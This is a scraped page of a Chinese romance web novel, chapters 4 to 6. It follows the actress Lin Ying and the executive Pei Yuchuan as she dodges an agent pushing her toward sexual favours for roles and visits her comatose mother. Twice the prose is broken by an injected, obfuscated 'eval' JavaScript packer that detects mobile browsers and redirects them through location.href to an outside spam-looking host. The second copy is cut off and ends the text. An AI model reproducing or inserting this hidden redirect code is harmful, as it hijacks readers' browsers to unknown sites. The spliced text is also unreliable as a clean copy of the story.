穿过回廊，走过月洞门，林莺终于看到了假山水榭，只是假山旁的石桌前坐着一人。 是裴予川。 他背对月洞门，右手食指和中指上夹着一根正在燃烧的香烟，可他并没有抽，似乎只是任由烟筒烧尽。 林莺张了张嘴，裴总怎么会在这里？ 她攥紧手机，不想打扰裴予川，转身准备出去，可此时她手里的手机却忽然响起来。 男人低垂的巡视目光看过来，林莺有点尴尬，连忙接通电话。 “喂，小楠，你怎么忽然打过来了？”林莺看了眼裴予川，低头捂嘴和小楠说话。 “莺莺姐，干洗店的人都说那件黑西装外套洗不了，布料工艺太精细，他们不敢接单。” 林莺皱眉：“再找找能接的。” “好吧，还剩最后两家店没去了，我再去问问。” “嗯，好。” 挂掉电话，林莺抬头，再次看向假山旁边，裴总已经起身，朝她这边走了过来。 林莺忽然有点紧张，想起陈自明刚刚交代她的事，她心虚得厉害，按着手机的手指忍不住搓了搓，随后她冲裴予川笑了下，准备逃离这里。 “等等。”男人出声，林莺脚步顿住。 林莺平复了下呼吸转身过去，只见男人刚刚夹烟的指尖此刻夹着一枚耳钉，他目光深沉，静静地看着她，温声开口。 “你的耳钉掉了，林小姐。” 4. 第 4 章 男人骨节分明的指尖闪着璀璨的亮光，林莺下意识摸了摸右耳，是空的。 大概是刚刚接电话的时候不小心把耳钉弄掉了，她抬头看向裴予川，点头称谢，随后伸手过去：“谢谢裴总。” “不必客气。”裴予川温声回应，隔空将耳钉倾斜至林莺手心，没碰到林莺的手。 耳钉攥在手心，上面还残留着男人手掌的温度。 两人静默片刻，林莺忽然想到裴予川刚刚喊了她的姓，她心中闪过疑惑：“裴总怎么知道我姓林？” 对面的人顿了下，解释：“昨晚的宴会上，听到林小姐经纪人喊你。” 林莺惊讶，那看来昨晚走廊尽头打电话的男人就是裴总。 只是，裴予川能注意到她，必然是因为她和许兴盛产生的冲突，林莺忽然有点尴尬，“原来是这样。” 花园里的水声潺潺，偶尔会有鸟儿掠过，林莺觉得自己该离开了，出声：“那我先走了，裴总您自便。” 裴予川垂眸看着林莺，想到了昨晚吴其告诉他的事情，昨晚宴会厅出现骚乱，是因为林莺得罪了许兴盛，陈自明带林莺去的目的是为了《星星暗语》的女主。 据吴其说，林莺进入娱乐圈三年从来不接受潜规则。 他的眸光在林莺的背影上落下，想到什么，旋即出声：“去哪儿？出去继续被陈自明逼迫潜规则？” 林莺脚步顿住，转身看向裴予川，他就这么当着她的面说出了昨晚的事情？ 她有一瞬间的不自在，看来昨晚得罪许兴盛的事情，不少圈里人都知道了，真是有够丢人的，不过幸好她是个小透明，过几天也就被人淡忘了。 “我...”林莺说不出话，因为裴予川说得对，她出去被陈自明看到，肯定是要逮着她认识各路导演制片人，甚至还会催促她赶紧去接近裴总。 只是，裴总现在就在她面前。 “跟我来。” 男人说完，转身要走，林莺确认裴予川是对她说的，连忙跟上去。 两人走在花园石板路上，很快上了回廊，林莺跟在男人身后，悄悄观察了眼裴予川，他身高很高，比她高出将近二十公分，腿也长，因此迈的步子很大。 林莺跟着有点吃力，慢慢跟他拉开了距离。 身后动静越来越小，裴予川察觉到什么，停下，转身看向林莺，见她落在五米之外，抿了下唇。 他走得太快了，女孩还没跟上。 等了林莺几秒，裴予川这次放慢步子，走几步还会时不时回头看一眼林莺。 林莺不知道裴予川要带她去哪，这里远离晚会的大庭院，看起来应该是酒店的后院，大概是客房的地方。 她心里一惊，裴总到底要带她去哪？ “裴总！”林莺停下脚步，呼吸声变粗，“您是在拉练我吗？” 裴予川止住脚步，听到林莺的话眉头蹙了下，随即转头看向林莺，嘴角扬起淡淡的弧度：“我不是田径教练。” 林莺咽了咽口水：“那咱们这是要去哪？我经纪人应该还在等我...” “怕了？”裴予川轻笑。 表面不动声色，实际上林莺的内心已经在准备逃走，外面的社交晚会是火坑，但现在裴予川带她去的地方，很可能也是狼窝虎穴。 两者选其一，不知道为什么，林莺似乎更愿意相信后者。 她摇摇头：“没有，只是有点走累了。” 看着女孩故作镇定的样子，裴予川再次轻笑：“快到了。” 说完，他继续往前走，林莺也只能跟上，还好今天穿的礼服不是拖地的，要不然走这么久会更累。 穿过走廊，裴予川带她拐进一座小庭院。 看样子应该是酒店的别墅客房，院子四周有围墙，中心是口池塘，岸边垂着棵柳树，另有一棵紫薇树陪衬，粉紫色花朵盛开，好不漂亮。 裴予川走到别墅门前，从黑色西装口袋里拿出一张房卡，刷开后，他打开了门，站在一边：“不进来？” 林莺收回落在池塘的视线，看向裴予川，还真把她带来了客房？ “裴总，我不接受潜规则，您这是什么意思？”林莺大着胆子出声，没有上前。 她话音落下，对面的男人似乎沉默了几秒：“我也没有想潜规则你。” 裴予川表情淡然，没有作假的成分，林莺半信半疑，踱步上前，走到裴予川身侧时，她深深看了眼男人。 这双眼睛真的很像昨晚雨夜在劳斯莱斯后排的人。 林莺不太确定，她站在原地，抬手遮住裴予川的下半张脸。 “做什么？”见林莺迟迟不进去，裴予川出声提醒。 林莺放下手，心里几乎已经确定，裴予川就是昨晚送给她伞和外套的人，她回神摇头，迈着步子进了客厅。 裴予川也跟着进来：“这是我在这家酒店的房间，你可以暂时在这躲着，不用出去面对经纪人。” 林莺回头，诧异地看向裴予川，他表情依旧淡淡的，情绪稳定，举手投足间气场强大，许是来到属于自己的地方，动作里多了几分慵懒松弛。 所以刚刚是她误会了裴予川。 “谢谢裴总。”林莺冲裴予川笑了笑，环视了下客厅，整个客厅面积将近百平，因为是中式别墅，内部装饰也偏中式，看起来很是雅致。 “喝茶？或者咖啡？”裴予川来到水吧，询问林莺。 “我不渴。”林莺摇摇头，进入这行第一条规矩就是不要在外面乱喝别人递过来的水。 此刻，虽然看着裴总不像那种人，但依旧不能大意。 裴予川似乎看出林莺的局促与警惕，他微微点头，转身从冰箱拿了瓶未开封的依云。 “坐吧。”裴予川将水放在桌上，示意林莺随便坐。 林莺坐下，看了眼桌上的水，一路走过来十几分钟，她还真有点渴了。 “谢谢裴总。”林莺拿过水，准备拧开，只是这水似乎有点紧，她有点费劲。 裴予川在林莺对面的沙发上坐下，他看林莺打不开水，轻声开口：“给我。” 林莺将水递过去，裴予川替她打开，又递回给她，两人的手始终保持距离，没有碰到。 看女孩大口大口喝着水，裴予川似笑非笑：“这下不担心水有问题了？” “咳咳咳...”林莺被裴予川的话惊到，她尴尬地看向男人，疑惑他怎么知道自己刚刚内心想的什么。 “没有，这水还挺好喝的。”林莺笑笑，转移了话题：“恭喜裴总的电影即将开拍，简介看起来很吸引人。” 裴予川：“嗯，谢谢。” 因为这句玩笑加上话题熟悉，林莺放松不少，紧接着房间内陷入寂静，林莺的手机响了下，是小楠发来的信息。 小楠：[莺莺姐，找到可以干洗的店了，不过要一周后才能洗好。] 林莺搓了下手机边缘，回复知道了。 许是觉得两人共处一室不太自在，裴予川在沙发上起身，准备出去：“我还要去晚会那边，你自便。” 林莺点头：“好，今晚谢谢裴总。” “嗯。”男人应声，准备出去。 林莺想到外套的事情，又叫住裴予川：“等一下。” 裴予川转身，看向林莺，他轻轻挑了下眉尾，似乎在询问林莺是否还有事。 “裴总，昨晚我在路边淋雨，送我伞和外套的人是您吧？”林莺将心里的猜测说出，仔细观察裴予川的反应。 对面的人似乎愣了下，几秒后才点头：“是我，昨天从宴会出来，恰好看到林小姐。” 得到确定的答案，林莺笑笑：“再次谢谢裴总，衣服我已经送去干洗了，一周后给您送回，可以吗？” “嗯。”裴予川应声，他的衣服向来只穿一次。 林莺：“那您给我您助理的联系方式，一周后我联系他将衣服给您送回去。” 裴予川：“好。” 打开手机，林莺新开一个备忘录，将手机递给裴予川：“您把联系方式写在这就行。” 接过女孩手机，裴予川看了眼粉色背景的备忘录，输入一个号码：“可以了。” “谢谢裴总。”林莺拿回自己的手机。 只是林莺的手机比较小，她拿手机的时候不小心碰到了裴予川的指尖，林莺没察觉到，可裴予川却触碰到林莺手上的温度。 南城的六月，气温高达三十几度，林莺的手却冰凉。 他淡淡看 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前往客房的路上，裴予川找出梁和煦的微信，两人是多年好友，梁家的企业大都经营传媒行业。 裴予川：[什么时候有空，一起约个饭？] 那边，很快传来回信。 梁和煦：[卧槽这可太难得了，约了裴大总裁好几次都说没空，今儿真是稀奇啊！] 裴予川：[明天晚上七点，老地方。] 梁和煦：[没问题，我肯定准时到。] 聊完，裴予川关闭手机，径直出了走廊，他先进了院子，里面的灯还亮着，他敲了下门，才用卡将门刷开。 打开门进去，裴予川却发现客厅里没人，开着的灯也只是个落地灯，他来到沙发前，发现给林莺的毛毯被叠的整整齐齐地放在上面。 喝完的水被扔进垃圾桶，桌上留着一张便签，他弯腰拿起，看到一行清秀的字迹：今天以及昨天，都非常感谢裴总，衣服我会准时给您送回。 男人看着便笺，嘴角凝起弧度：“林莺，你的谢谢是批发来的吗？” - 九点宴会一结束，林莺便从裴予川的院子出来了。 这里很是私密，外人几乎发现不了，林莺也不用担心被人拍到。 躲在这里的一个小时里，陈自明给她打了两个电话，林莺解释自己吃坏了肚子，在卫生间，陈自明骂她就会掉链子，最后应该是放弃她了。 出了酒店，小楠接上林莺回了公寓。 晚饭还没吃，回到公寓后，小楠拿出提前买好的沙拉，打开给林莺。 “谢谢小楠。”林莺接过叉子，吃起沙拉，她需要控制体重，沙拉是她的家常便饭。 “跟我客气什么呀，莺莺姐，那件外套已经在干洗了，下周咱们从云城回来就洗好了。”小楠想起什么，“对了，今晚陈哥没逼你吧？” “没有，我找理由去了卫生间。”林莺怔愣几秒，摇头，“他还算有点良心，也可能是觉得我合约快要到期，放弃我了。” 小楠叹了口气：“好吧。” 明天是个休息日，下午才出发去云城，因此林莺吃完饭，小楠就走了。 吃完饭，林莺拿出《梦里花落知多少》的剧本看起来，背完两场台词，林莺的思绪却忽然飘到了裴予川身上。 今晚，他为什么要帮自己？ 林莺歪着脑袋想不明白，她和裴总应该是没什么交集的。 剧本是看不下去了，明天飞机上再看吧，林莺拿出手机，找到裴予川给她留的号码，准备加上他助理微信，方便下周回来联系。 复制号码到微信，搜索出来的账号头像是一张深蓝色夜空的照片。 林莺填好申请语，点去了发送。 不到一分钟，那边便通过了微信，林莺看了眼时间，已经十一点，心里感叹裴予川助理真敬业，这么晚了还高效在线。 林莺：[裴总助理您好，我是林莺。] 打完招呼，林莺准备放下手机，但手机却收到信息。 裴总助理：[林莺你好，我是裴予川。] 5. 第 5 章 指尖触到手机屏幕，看到信息后不自觉蜷缩了下。 目光落在屏幕上，林莺眼神微顿，黑眸中闪过丝丝诧异与茫然，片刻后，她才明白过来，在酒店里，裴予川留下的号码不是他助理的，是他自己的。 林莺犹豫两秒，还是点进了裴予川的微信主页，看到朋友圈的时候，自然而然地点了进去。 裴予川的朋友圈显示近半年可见，因此现在的页面里一片空白，什么都没有。 看来这真的是裴予川的微信，甚至很有可能是他的私人微信。 林莺眨了下眼，心里涌现出莫名的复杂情绪。 她打开键盘，思考该怎么回复裴予川，手里的手机微微震动，裴予川再次发来信息。 裴总助理：[什么时候离开的？] 林莺皮肤本来就白，现在她的脸上打着手机的亮光，更显冷白，映出的睫毛纤细，根根分明，像是洋娃娃。 林莺：[不到九点，毛毯我叠好了，就在沙发上，今天谢谢裴总。] 酒店里，裴予川坐在沙发上，茶几上放着电脑，他正在看《星星暗语》的剧本，刚从梁和煦那边要来的。 裴氏近几年投资影视行业，参股的几部剧播的都不错，《星星暗语》这本小说网络知名度很高，不过他看中的不是这些。 投资已经商定，裴氏想要入局，需要费点周章，目前慢语传媒已经入股百分之四十，另外百分之六十在梁和煦公司那，没有多余股份让裴氏参与。 他在思索，怎么把慢语的股份给抢过来。 放在一边的手机静静躺在林莺叠好的毛毯旁边，裴予川拿起，看到林莺再次发来的感谢，无奈地蹙了下眉。 裴总助理：[林小姐这么客气？] 正在整理剧本的林莺看向手机，眉头皱了下，她很客气吗？ 反正她没感觉出来，因为她对谁都是这样的，小楠曾经也说过她总是很客气疏离，感觉谁都走不到她身边走不到她心里似的。 林莺怂了下肩，回想起十八岁以前的她，那时候她还是很活泼开朗的，变故发生在她高考结束那天。 林莺：[您帮了我很多，我是真心感谢您的。] 别墅里依旧只开了一盏落地灯，客厅昏暗，手机荧光成为聚光灯，打在裴予川硬朗的脸庞上。 他眼眸微咪，看着林莺的消息轻轻扬了下眉。 裴总助理：[举手之劳，林小姐不必客气。] 裴总助理：[记得给我改备注。] 林莺看着第二条信息，嘴角没忍住笑了下，裴总看起来好像比报道里写得更有活人气一点，她刚刚翻找了几篇裴予川的采访，非常公事公办。 现在他说话的语气反差有点大，林莺都要怀疑他是不是真的是裴总。 林莺：[好的，裴总您忙，我要去背台词了。] 发完这条，林莺看了眼时间，已经深夜，她又点开键盘，发了第二条信息。 林莺：[晚安。] 半分钟时间，裴予川也发来一条‘晚安’。 退出聊天页面，林莺才发现她忘了给裴予川改备注，又重新进入，修改了裴予川的备注，但她只删掉了助理两个字，备注裴总。 - 翌日清晨醒来后，林莺早早洗漱好便出了门。 出了公寓，林莺在楼下吃了点早饭，收到了陈自明的电话。 林莺瞬间觉得手里的早饭没了胃口，她无奈接下电话，淡声开口：“陈哥？” “别叫我陈哥！”陈自明的怒气顺着电话线传来，林莺拿开手机放在桌上，陈自明的咆哮声继续，“你两次逃席的事情公司已经知道，两个月后不会续约，别说我没给你机会，是你自己把握不住。” 林莺：“嗯。” 她早就料到会得到这个结果，虽然陈自明脾气不好，还总是对她阴阳怪气，但这三年，他对她的工作做得确实也还可以。 没有因为她没什么名气就不管她，也没有把强制她洗干净送到导演床上，甚至还会给她介绍资源和剧本。 相比于其他无德经纪人，陈自明还算有点良心。 “嗯什么嗯，快想想你以后该干什么吧，我可是救不了你了。”陈自明的语气中有点惋惜，可他也是听公司吩咐做事，“你手里还有部剧没杀青吧？好好拍，这是你在信威最后一部分成了。” “知道了。”林莺没什么情绪的应下。 挂了电话，林莺继续将筷子上的小笼包往嘴里塞，一笼小笼包十个，但林莺只吃下五个，剩下五个她不想浪费，让老板给打包了。 从早餐店出来，林莺又来到隔壁超市，买了些水果和牛奶。 拎着一包东西出来，她准备去地铁站。 今天上午没事，去云城的飞机是下午，正好也到了去看望母亲的时间，林莺昨晚就计划好了去疗养院。 疗养院在南城郊区，坐地铁过去需要一个小时，林莺看了看时间，加快了脚步。 距离地铁口还有五百米的时候，林莺忽然听到身后有车鸣声，她很快反应过来，身侧的车是在喊她。 林莺停下脚步，扭头看过去，发现居然是一辆很低调的商务版保时捷。 她疑惑的看着路边那辆车，总觉得哪里不太对，果然，副驾车窗落下，林莺看到了驾驶室的人，是裴予川。 “林小姐，又见面了。” 林莺惊讶两秒，踱步上前，她微微弯腰，看向车内的人：“裴总，您好。” “好巧，林小姐这是去哪？”裴予川单手搭在方向盘上，将副驾的车窗全部降下，看向林莺。 林莺：“去南郊。” “裴总，我还有事，先走了。” 不等裴予川喊她，林莺便快步走向地铁站。 她总觉得这几天和裴予川的相遇有点太巧了，每次都是恰好遇到，而且裴予川也总是帮她很多，很难不让人怀疑这其中的目的。 可她就是个没钱没势的十八线小演员，裴予川图她什么？ 林莺想不明白却也不想和裴予川过多纠缠，于是加快了脚步。 裴予川下车，看着落荒而逃的女孩，眉头蹙了下，旋即阔步上前，三步并两步便跟上林莺：“我送你，这样快些。” 没料到裴予川这么快就走过来，林莺吓了跳，转身看向他，和声婉拒：“不了，裴总，我去的地方比较远，不劳烦您了。” “没关系，我的会十一点开始，现在八点半，来得及。”裴予川略微复杂地解释了下自己的安排。 为什么跟她说这么说，林莺不理解，但依旧拒绝：“谢谢裴总，真不用了。” “现在是通勤高峰，坐地铁你很可能没有位置，提着这么多东西，确定可以？”裴予川低头看了眼林莺手里的东西，非常客观地阐述事实。 林莺看了眼周围来来往往的上班族，她要坐的这条线又是通勤专线，待会能不能挤上去都不一定，更何况还带着东西。 她索性不再犹豫，歉声答应：“那就麻烦裴总。” “嗯，不麻烦。”裴予川应下，带林莺上了车。 将东西放在了后排，林莺在副驾，身侧就是裴予川，她浑身不自在。 “去哪？”裴予川问。 林莺不太喜欢让别人知道她母亲的事情，所以大学两年以及拍戏期间看望母亲都是她自己去，也从不会麻烦王哥来接她去疗养院。 母亲是植物人的事情，除了大学室友，几乎没有人知道，包括信威和陈子明甚至是小楠。 “南郊动物园。” 顿了顿，林莺回答，南郊动物园与疗养院相隔很近，只有不到两公里的距离，待会在动物园下了车，她步行过去即可。 “好。” 车子启动，裴予川没说话，只专心开心，林莺也不敢出声，只好假装睡觉。 不知开了多久，路上有个减速带，将林莺震醒，她睁开眼看了看四周，已经出市区，还有几公里就要到了。 裴予川：“醒了？” 林莺：“嗯，抱歉，我睡着了。” “没关系。”裴予川声线富有磁性，虽然亲和，但仔细听其实语气里带着上位者的气势，“一大早去动物园干什么？” 林莺愣了下，许是没想到裴予川会问。 “资助了几个小动物，买点东西去看看它们。”林莺扯谎。 裴予川：“嗯。” 车内陷入沉默，好在动物园已经到了，裴予川将车慢慢停下，林莺提着东西下了车。 “谢谢裴总。”林莺提着东西，再次向裴予川道谢。 裴予川已经习惯了林莺顺口说谢谢，他颔首：“嗯。” 两人没再多说什么，裴予川上了车。 林莺却没着急走，谨慎地目送裴予川的车开出动物园的区域范围，才转身走向疗养院的方向。 - 来到疗养院后，林莺进入病房，看到护工张姐正在给母亲擦身子。 林莺叫了声，张姐应声转身：“小林来啦。” “张姐，辛苦您了。”林莺将水果和牛奶放在桌边，将这个月的护工费递给张姐，“这是您这个月的工资。” “哎吆小林，你真是太准时了，还有两天才到工资日。”张姐照顾母亲有五年了，看着林莺越来越瘦，“小林呀，你也要注意身体哦。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15602881|172047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林莺点点头：“好，谢谢张姐，您先去休息吧，我陪我妈妈待会儿。” “哎，好。” 张姐出去后，单人病房里只剩下林莺和母亲。 床上躺着的妇人皮肤苍白，虽然是植物人，但在白天的时候眼睛可以睁开，她静静地望着天花板，面容清丽，能看出来年轻时相貌很好。 林莺坐在床边，拿过湿毛巾给母亲擦手臂：“妈妈，我来看您了，下午我又要去拍戏了，再回来可能没时间来看您了。” “不过你放心，我生活的很好，您安心在这疗养。” 床上的人眨了眨眼睛，甚至手指也会动，林莺对母亲这些动作早就习以为常，因为这是植物人的正常反应，只是他们的思维被禁锢住，不能说话。 母亲看起来像是睡着似的，似乎下一秒就能醒过来跟她说话，林莺怎么可能放弃给母亲治疗？ 她为母亲擦完上半身，又撩起母亲的裤脚给她擦腿。 做完这些，林莺看了看时间，还能陪母亲说说话。 林莺说着小时候的事情，床上的人望着天花板听着。 在林莺十八岁前，他们一家三口还是个很幸福的家庭，母亲倪韵漂亮温柔，父亲林正信白手起家，创立起南城规模最大的外贸公司邻通外贸。 从小她就是被母亲捧在手心的孩子，林莺无忧无虑地长大到十八岁。 变故就是在高考结束那天发生的，林正新坦白出轨，出轨的女人要求林正新离婚并且要带走家里所有财产，林正新表示可以把林莺留给倪韵。 当时倪韵如遭晴天霹雳，即便她不同意，但还是被林征信带去了民政局，强制她签了文件。 回家的路上，倪韵的车发生意外。 林莺得到通知来医院时，母亲刚刚进抢救室，出来便被医生宣布成为植物人，而林正新，从民政局离开后就再也没出现，直到后来林莺二十岁时出现过一次。 那次他给林莺带了很多东西，还给她钱，林莺恶心不想要，林正信偷偷把钱放进了她包里。 林莺姥姥姥爷早已去世，母亲又是独女，没人能帮她。 幸好她卡里有母亲从小给她存下的一笔储蓄金，还有一套母亲名下的二居室，她才能撑到现在。 大概正因为父亲出轨，林莺进了娱乐圈，看着那些已婚有孩子的资本大佬，才接受不了潜规则，她不能让自己变成父亲出轨的那种女人。 从回忆中抽离出来，林莺发觉自己脸上溢满泪水，抽出纸巾擦了擦，林莺见时间差不多，叫回了张姐，自己则离开了疗养院。 回到公寓后，林莺调整好情绪，收拾东西准备出去回剧组。 - 晚上七点，裴予川来到水畔明居，南城的高级私人会所。 这里是他经常和梁和煦一起约饭的地方，也是南城商圈谈生意的一处所在。 这里有为裴予川几人常年预留的包厢，他刚进去，便有侍应生带他过去：“梁总已经在里面。” 裴予川：“嗯。” 打开门，侍应生请裴予川进去，随后帮他们关上门。 梁和煦见裴予川进来，连忙出声：“予川你可算来了，再不来我还以为你又要放我鸽子呢。” “不会。”裴予川面无表情坐下。 梁和煦给裴予川倒茶，笑着说：“真是稀奇，予川你居然会约我吃饭，怎么着，今天裴氏没事了？那我今天可要好好宰你一顿。” 裴予川轻笑：“随便点。” 拿起桌边的ipad，梁和煦勾唇笑出声：“行，我可点了啊。” 对面的男人点点头，旋即进入正文：“《星星暗语》这部剧是你和慢语的许兴盛一起投资制作？” “对，予川你消息还挺快的，怎么，你也有兴趣？”梁和煦边点单边笑着问。 裴予川淡淡应声：“嗯，有点兴趣。” “行啊，慢语投资百分之四十，我占百分之六十，你想要，我分你一半就是了，谁让你是我哥呢。”梁和煦笑着说，点了和牛龙虾，随后点了下单。 见对面的人没应声，他放下ipad，抬头看向裴予川，却见他抿唇喝茶，像是不满意他这个回答。 “怎么了，哥，你嫌少，要不分你百分之四十？”梁和煦轻声试探，他投资的项目多，不在乎少这部剧的盈利，况且裴氏资本对无影传媒的帮助颇多，多让些利给裴氏也没什么。 裴予川两指捏着茶杯，头顶的射灯搭在他的发顶，眉眼隐没在阴影中，使得他整个人看起来阴郁无常。 “不，我的意思是，把慢语许兴盛踢出局。” “我要他的那百分之四十。” 6. 第 6 章 “咔，这条过了！” 导演的声音响起，林莺终于放松下来，从戏中慢慢抽离出来。 她身上穿着戏服，《梦里花落知多少》这部剧是个民国剧，林莺饰演的女四号，虽然戏份不重要，但大多时候是作为背景板的存在。 因此她的通告还是蛮多的，今天的戏份也算是她的一场重头戏。 云城属于北方城市，温度常年二十多度，林莺身上只穿了旗袍，小楠见这场戏结束，连忙给她递过来毯子。 “莺莺姐，你刚刚演的好好呀。”小楠笑着说，随后搀着林莺回了保姆车上。 为了上镜，林莺每场戏之前几乎都会轻断食，很久之前有晕倒过的时候，从那之后，小楠都会时不时搀着林莺。 林莺摇头：“正常发挥，这部剧很多前辈，我学到了不少。” “嗯，莺莺姐就是最棒的。”小楠点头，“今天的戏份已经结束了，咱们回酒店吧？” “先等下，帮我拍点剧照，经营下微博吧。”林莺有个微博账号，是她和信威签约时，信威要求她注册的，但因为她本人一直不温不火，所以微博粉丝也没多少。 小楠点头：“好，这身旗袍应该很出片。” 片场里有一处空闲中的民国街道，小楠在这帮林莺拍了十几张，拍完后，两人便回了酒店。 到酒店后，林莺迅速补充了点食物，但也仅仅是喝了点牛奶。 今天是来云城的第四天了，还有两天她的通告就拍完了，下场通告在半个月后了，中间这段时间，林莺想自己找找剧组去试镜。 从各个剧组群里溜了一圈，林莺没看到合适的角色，索性放下手机休息。 小楠帮林莺发好了营业微博，和以往一样，半个小时过去，只有稀稀拉拉的几十个点赞评论，第一个点赞的依旧是那个不知名账号，头像和昵称都是默认的，主页也没有内容。 林莺躺在沙发上休息，秦觅给她发来了消息。 秦觅：[莺莺，在拍戏吗？] 林莺看了眼时间，才下午三点，秦觅是有什么事找她吗？ 林莺：[刚结束，怎么啦觅觅？] 对面正在输入，但两分钟过去，秦觅的消息还没发过来，林莺有点疑惑，正想给她打电话过去的时候，秦觅发来了消息。 秦觅：[我们公司正在招颜值主播，莺莺你的合同不是快到期了，你要不要来试试？] 林莺的目光凝在秦觅的消息上，她原先是担心解约后信威会针对她，但如果她去做网络直播，信威应该管不到。 只是演戏三年，林莺还是更喜欢拍戏。 林莺；[招聘要求是什么呢？我能行吗？] 秦觅：[颜值上肯定没问题，就是不知道你能不能接受这种赚钱的方式，毕竟也算是在网络上展示美貌，是有些那种成分在的。] 林莺看过直播，知道秦觅说的什么意思，她想了想，干脆拒绝：[算了，我可能做不来，不过还是谢谢你呀，觅觅。] 秦觅：[客气什么，你的性格确实不太适合做直播，不过我也是想着你比较缺钱嘛...] 林莺：[嗯，我知道。] 休息两个小时，《花落》剧组小群里吆喝着今晚一起聚餐，林莺不想参与，正想拒绝，一起搭戏的男演员孙世文却私聊了林莺。 孙世文：[猜到你会拒绝，所以想喊你待会一起去吧，我明天就要杀青，今天就当吃个杀青饭。] 林莺叹了口气，孙世文和她的对手戏比较多，因为两人演的是夫妻。 犹豫两秒，林莺应下：[好，恭喜杀青。] 林莺换了套卫衣牛仔裤，简简单单的衣服却衬得她更加青春靓丽。 吃饭的地方就在酒店附近，林莺扫了个单车，十分钟便到了。 “哎吆，林大美人今天也来了啊。” “真难得，以往喊林莺都是不爱来的，还得是孙世文的面子啊。” “哈哈哈，林莺快来快来，你坐这边。” 《花落》剧组和她一样的这些小演员们都挺友好的，知道她性子内敛，她一进去便热情招呼她坐过来。 林莺笑笑，看了眼给她留的位置，是孙世文旁边的位子，她点点头：“谢谢。” 孙世文摇摇头：“不用客气。” 坐下后，一行人开始吃吃喝喝，林莺不喝酒，只喝了果汁。 吃到一半，林莺提出要去卫生间，这家餐厅是开放式的露天餐厅，卫生间在角落里，人流量大，孙志文担心林莺自己去不安全，于是提议：“我陪你一起，正好我也要去。” “好。”林莺没拒绝。 从卫生间出来后，林莺来到洗手台洗手，恍然发觉身后站了个人，她以为是孙世文，歉声道：“世文，你怎么那么快，稍等，我马上洗好。” “呵...” 轻笑声从身后传来，林莺洗手的动作顿住，她愣了下，旋即转身。 “世文是谁？林小姐，我是裴予川。” 裴予川一身黑色西装，单手放在西裤口袋里，他侧身虚虚靠在墙边，目光深沉地看着林莺。 关上水，林莺扯了两张纸擦拭手上的水渍，她看了眼男性卫生间：“裴总，好巧，您是来云城出差？” 裴予川微微点头，相比于刚刚沉沉的表情，好了许多：“嗯，有块地皮，正好在影视城附近。” 林莺抿唇：“原来如此...” 话音落下，孙世文从卫生间出来，他洗完手，笑看着林莺：“好了，咱们回席吧。” “嗯。”林莺看向孙世文，又看向站在外围的裴予川。 孙世文似乎才注意到外面的人，男人气场强大矜贵，目光始终落在林莺身上，他有点奇怪，看向林莺：“林莺，这位你认识？” “嗯。”林莺搓了搓手指，开口介绍，“世文，这位是南城裴氏资本的裴总。” 孙世文不是南城人，但南城的裴氏资本势力范围大，他不是没有耳闻，震惊数秒后缓缓回神：“裴总...您好。” 他主动伸手右手，但对面的裴予川却没动，反而冲林莺轻轻挑了下眉尾：“林莺，这位是？” 两个男人之间忽然弥漫起奇怪的氛围，林莺很敏锐地察觉到，但她不知道这种感觉该怎么形容，回神过来：“裴总，这位是我拍戏的同事，孙世文。” 裴予川颔首，却没伸手：“嗯，你好。” 孙世文有点尴尬，默默收回了手。 林莺觉得有点闷：“裴总，那我们先回去了，您自便。” “嗯。”裴予川的神情不知道什么时候恢复了刚刚的深沉状，他目送林莺和孙世文离开。 静默几秒，吴其从露天包厢出来：“裴总，云城的人松口了，最终定下百分之二十九。” 这个结果是裴总最开始的理想数据，但此刻，吴其见裴予川依旧眉眼低垂，看起来似乎并不开心，心里隐约担心。 “好，明天签合同。”裴予川应下。 吴其松了口气，顺着裴予川的方向看过去，那边不过是个草坪，裴总看什么呢？ “对了，裴总，梁总说他和慢语已经谈判结束，慢语不同意退出。” 院子里安静无声，偶尔有两声蛐蛐的叫声。 裴予川将手从西装口袋里拿出来，抬头看了眼蓝黑色的夜空，淡声道：“前段时间慢语投资的剧是不是造成一名演员坠亡？” 吴其点头：“是，三个月前的事，被慢语压下来，演员的家属没有得到赔偿。” “嗯。”裴予川抬脚，准备回席，“想想怎么做。” “好。”吴其应声，明白了裴予川的意思。 - 聚餐直到晚上十点才结束，因为不少人第二天一早还有通告，所以大家很快便散了。 临走，孙世文叫住林莺：“林莺，你住哪，我送你回去？” “不用，我很近，一会就到。”她不想和孙世文走得太近，都是成年人，孙世文对她的态度她不是没察觉到。 孙世文却仍旧坚持：“晚上你一个人不安全，还是我送你吧。” “顺路你自便，不顺路就不用送我了。”林莺无奈。 “顺路！我送你！”孙世文应下，拿了外套跟上林莺。 没再浪费口舌，林莺拿着包出了餐厅，她环顾四周，终于找到一辆单车，拿出手机解锁后，林莺准备骑回去。 孙世文看了一圈，这附近没有单车了，他叫住准备骑车走的人：“林莺，我们散步回去吧？” “明天还有通告，我要回去背台词，赶时间。”林莺笑了笑，略带抱歉地开口。 “啊？”在剧中的角色，孙世文饰演的丈夫因病去世，独留美貌的妻子在深宅大院中，因此他的戏份比较少，所以杀青的也快。 林莺：“你回去吧，不用送我。” “没事，我跑步，正好锻炼下身体。”孙世文穷追不舍。 林莺不再多说，只是骑上单车离开，她穿的牛仔裤倒是方便了骑车，没几下就把孙世文甩在身后。 十分钟的路程，孙世文全程被甩在后面几十米，林莺四处看了看，还好周围没有狗仔和粉丝，不然被营销号发出来，她肯定又要被溜一遍。 到了酒店门口，林莺关上车子，便打算上楼。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 